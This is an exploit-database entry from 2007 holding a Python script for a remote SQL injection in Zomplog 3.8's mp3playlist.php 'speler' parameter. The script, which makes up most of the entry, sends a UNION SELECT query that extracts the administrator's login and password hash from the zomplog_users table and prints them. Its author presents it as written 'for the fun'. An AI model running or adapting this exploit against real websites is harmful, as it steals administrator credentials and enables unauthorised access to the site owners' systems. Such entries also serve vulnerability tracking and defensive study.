Zomplog <= 3.8 (mp3playlist.php speler) Remote SQL Injection Exploit

🗓️ 21 May 2007 00:00:00Reported by RootType

Zomplog version 3.8 vulnerable to remote SQL injection via mp3playlist.php player exploit.


                                                #!/usr/bin/python
#----------------------------------------------------------------------------------
#&nbsp;The&nbsp;sql&nbsp;injection&nbsp;:&nbsp;/zomplog-3.8/plugins/mp3playlist/mp3playlist.php?speler=[sql]
#&nbsp;I've&nbsp;code&nbsp;a&nbsp;sploit&nbsp;for&nbsp;the&nbsp;fun&nbsp;x)
#----------------------------------------------------------------------------------
#&nbsp;Zomplog&nbsp;website&nbsp;:&nbsp;http://zomplog.zomp.nl/
#&nbsp;Contact&nbsp;me&nbsp;:&nbsp;neomorphs-[at]-gmail-[dot]-com

import&nbsp;sys,&nbsp;urllib2

def&nbsp;usage():
	print&nbsp;&quot;+---------------------------------------------------+&quot;
	print&nbsp;&quot;|&nbsp;Zomplog&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;&lt;=&nbsp;3.8&nbsp;(mp3playlist)&nbsp;|&quot;
	print&nbsp;&quot;+---------------------------------------------------+&quot;
	print&nbsp;&quot;|&nbsp;Usage&nbsp;:&nbsp;zomplog.py&nbsp;[url&nbsp;+&nbsp;path]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&quot;
	print&nbsp;&quot;|&nbsp;Exemple&nbsp;:&nbsp;zomplog.py&nbsp;http://localhost/zomplog&nbsp;neo&nbsp;|&quot;
	print&nbsp;&quot;+---------------------------------------------------+&quot;
	print&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;NeoMorphS&nbsp;-&nbsp;Thxs&nbsp;to&nbsp;Gu1ll4um3r0m41n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&quot;
	print&nbsp;&quot;|&nbsp;&nbsp;&nbsp;Thxs&nbsp;too&nbsp;to&nbsp;#aerox(epiknet)&nbsp;#carib0u(worldnet)&nbsp;&nbsp;|&quot;
	print&nbsp;&quot;+---------------------------------------------------+&quot;&nbsp;

def&nbsp;attack(url):
	sql&nbsp;=&nbsp;&quot;/plugins/mp3playlist/mp3playlist.php?speler=999999999%20UNION%20SELECT%200,0,0,CONCAT(login,%200x2D4840434B2D,%20password),0,0,0,0,0%20%20FROM%20zomplog_users%20WHERE%20id=1%20/*&quot;
	print&nbsp;&quot;-&gt;&nbsp;connect&nbsp;to&nbsp;website&quot;
	try:&nbsp;source&nbsp;=&nbsp;urllib2.urlopen(url+sql).read()
	except:&nbsp;print&nbsp;&quot;-&gt;&nbsp;cannot&nbsp;connect&nbsp;to&nbsp;website&quot;;&nbsp;sys.exit()
	try:&nbsp;print&nbsp;&quot;-&gt;&nbsp;admin&nbsp;hash&nbsp;:&nbsp;&quot;+source.split('-H@CK-')[1].split(&quot;'&quot;)[0]
	except:&nbsp;print&nbsp;&quot;-&gt;&nbsp;cannot&nbsp;find&nbsp;the&nbsp;admin&nbsp;hash&quot;

if&nbsp;(len(sys.argv)&nbsp;&lt;&nbsp;2):
	usage()
else:
	attack(sys.argv[1])

21 May 2007 00:00Current

7.1High risk

Vulners AI Score7.1

Zomplog &lt;= 3.8 (mp3playlist.php speler) Remote SQL Injection Exploit

Zomplog <= 3.8 (mp3playlist.php speler) Remote SQL Injection Exploit